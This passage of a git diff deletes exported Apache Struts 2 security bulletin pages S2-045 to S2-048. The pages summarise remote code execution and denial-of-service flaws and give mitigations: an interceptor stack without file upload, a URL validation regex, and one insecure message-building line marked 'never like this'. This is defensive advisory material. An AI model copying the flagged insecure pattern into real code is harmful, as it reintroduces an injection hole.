-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-045</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-045.html">S2-045</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-045</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68717257">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68717257">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68717257">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68717257">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68717257">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68717257">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-045-Summary">Summary</h2>Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerabili [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptors&gt;
-    &lt;interceptor-stack name="defaultWithoutUpload"&gt;
-        &lt;interceptor-ref name="exception"/&gt;
-        &lt;interceptor-ref name="alias"/&gt;
-        &lt;interceptor-ref name="servletConfig"/&gt;
-        &lt;interceptor-ref name="i18n"/&gt;
-        &lt;interceptor-ref name="prepare"/&gt;
-        &lt;interceptor-ref name="chain"/&gt;
-        &lt;interceptor-ref name="scopedModelDriven"/&gt;
-        &lt;interceptor-ref name="modelDriven"/&gt;
-        &lt;interceptor-ref name="checkbox"/&gt;
-        &lt;interceptor-ref name="datetime"/&gt;
-        &lt;interceptor-ref name="multiselect"/&gt;
-        &lt;interceptor-ref name="staticParams"/&gt;
-        &lt;interceptor-ref name="actionMappingParams"/&gt;
-        &lt;interceptor-ref name="params"/&gt;
-        &lt;interceptor-ref name="conversionError"/&gt;
-        &lt;interceptor-ref name="validation"&gt;
-            &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-        &lt;/interceptor-ref&gt;
-        &lt;interceptor-ref name="workflow"&gt;
-            &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-        &lt;/interceptor-ref&gt;
-        &lt;interceptor-ref name="debugging"/&gt;
-    &lt;/interceptor-stack&gt;
-&lt;/interceptors&gt;
-&lt;default-interceptor-ref name="defaultWithoutUpload"/&gt;</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-046.html b/content/docs/s2-046.html
deleted file mode 100644
index 022c4d5..0000000
--- a/content/docs/s2-046.html
+++ /dev/null
@@ -1,180 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-046</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-046.html">S2-046</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-046</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68719612">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68719612">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68719612">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68719612">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68719612">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68719612">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-046-Summary">Summary</h2>Possible RCE when performing file upload based on Jakarta Multipart parser (similar to <a shape="rect" href="s2-045.html">S2-045</a>)<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptors&gt;
-    &lt;interceptor-stack name="defaultWithoutUpload"&gt;
-        &lt;interceptor-ref name="exception"/&gt;
-        &lt;interceptor-ref name="alias"/&gt;
-        &lt;interceptor-ref name="servletConfig"/&gt;
-        &lt;interceptor-ref name="i18n"/&gt;
-        &lt;interceptor-ref name="prepare"/&gt;
-        &lt;interceptor-ref name="chain"/&gt;
-        &lt;interceptor-ref name="scopedModelDriven"/&gt;
-        &lt;interceptor-ref name="modelDriven"/&gt;
-        &lt;interceptor-ref name="checkbox"/&gt;
-        &lt;interceptor-ref name="datetime"/&gt;
-        &lt;interceptor-ref name="multiselect"/&gt;
-        &lt;interceptor-ref name="staticParams"/&gt;
-        &lt;interceptor-ref name="actionMappingParams"/&gt;
-        &lt;interceptor-ref name="params"/&gt;
-        &lt;interceptor-ref name="conversionError"/&gt;
-        &lt;interceptor-ref name="validation"&gt;
-            &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-        &lt;/interceptor-ref&gt;
-        &lt;interceptor-ref name="workflow"&gt;
-            &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-        &lt;/interceptor-ref&gt;
-        &lt;interceptor-ref name="debugging"/&gt;
-    &lt;/interceptor-stack&gt;
-&lt;/interceptors&gt;
-&lt;default-interceptor-ref name="defaultWithoutUpload"/&gt;</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-047.html b/content/docs/s2-047.html
deleted file mode 100644
index 259e462..0000000
--- a/content/docs/s2-047.html
+++ /dev/null
@@ -1,167 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-047</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-047.html">S2-047</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-047</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71012430">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71012430">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71012430">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71012430">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71012430">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71012430">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-047-Summary">Summary</h2>Possible DoS attack when using URLValidator (similar to <a shape="rect" href="s2-044.html">S2-044</a>)<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vu [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">"^(https?|ftp):\\/\\/" +
-"(([a-z0-9$_\\.\\+!\\*\\'\\(\\),;\\?&amp;=-]|%[0-9a-f]{2})+" +
-"(:([a-z0-9$_\\.\\+!\\*\\'\\(\\),;\\?&amp;=-]|%[0-9a-f]{2})+)?" +
-"@)?(#?" +
-")((([a-z0-9]\\.|[a-z0-9][a-z0-9-]*[a-z0-9]\\.)*" +
-"[a-z][a-z0-9-]*[a-z0-9]" +
-"|((\\d|[1-9]\\d|1\\d{2}|2[0-4][0-9]|25[0-5])\\.){3}" +
-"(\\d|[1-9]\\d|1\\d{2}|2[0-4][0-9]|25[0-5])" +
-")(:\\d+)?" +
-")(((\\/{0,1}([a-z0-9$_\\.\\+!\\*\\'\\(\\),;:@&amp;=-]|%[0-9a-f]{2})*)*" +
-"(\\?([a-z0-9$_\\.\\+!\\*\\'\\(\\),;:@&amp;=-]|%[0-9a-f]{2})*)" +
-"?)?)?" +
-"(#([a-z0-9$_\\.\\+!\\*\\'\\(\\),;:@&amp;=-]|%[0-9a-f]{2})*)?" +
-"$";</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-048.html b/content/docs/s2-048.html
deleted file mode 100644
index 9437355..0000000
--- a/content/docs/s2-048.html
+++ /dev/null
@@ -1,156 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-048</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-048.html">S2-048</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-048</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71013972">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71013972">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71013972">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71013972">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71013972">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71013972">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-048-Summary">Summary</h2>Possible RCE in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users should read this</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impa [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));</pre>
-</div></div><p>and never like this</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));</pre>
-</div></div><h2 id="S2-048-Backwardcompatibility">Backward compatibility</h2><p>No backward incompatibility issues are expected.</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-049.html b/content/docs/s2-049.html
deleted file mode 100644
index 8fc3bdb..0000000
--- a/content/docs/s2-049.html
+++ /dev/null
@@ -1,154 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
